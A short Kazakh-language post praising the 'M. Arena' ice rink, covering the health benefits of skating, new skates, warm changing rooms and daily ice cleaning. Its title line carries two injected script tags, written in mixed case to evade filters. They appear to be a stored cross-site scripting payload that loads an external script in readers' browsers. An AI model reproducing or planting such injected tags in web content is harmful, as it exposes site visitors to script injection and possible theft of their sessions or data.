"Барлығы мұзға" мұз алаңының жұмысы " М. АренА"<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

, Барлығы мұз үстінде. Коньки тебу бүкіл денені сауықтырады,,
Белсенді сырғанау сағатында 300-400 ккал жанады. Қозғалыс кезінде дененің барлық тіндері оттегімен байытылған, бұл майдың тез бөлінуіне ықпал етеді және жалпы метаболизмді белсендіреді. Бұған бұлшықеттерге жоғары жүктеме қосыңыз-және сіз мұз айдынына үнемі барған кезде тез қатайып кетуіңіз мүмкін екенін түсінесіз. Әр жолы біздің балаларымызға қарап, мұз айдыны үшін алғыс айтқым келеді, М .АренА, А. А. Закусилова.Бүгін барлық көлемдегі жаңа коньки сатып алынды,жылы және жайлы киім ауыстыратын бөлмелер бар, күн сайын мұзды тазалап, су басады. Хоккейшілерде жабдықтар,жабдықтар бар.Бұл мұзға келу мүмкіндігіміз өте жақсы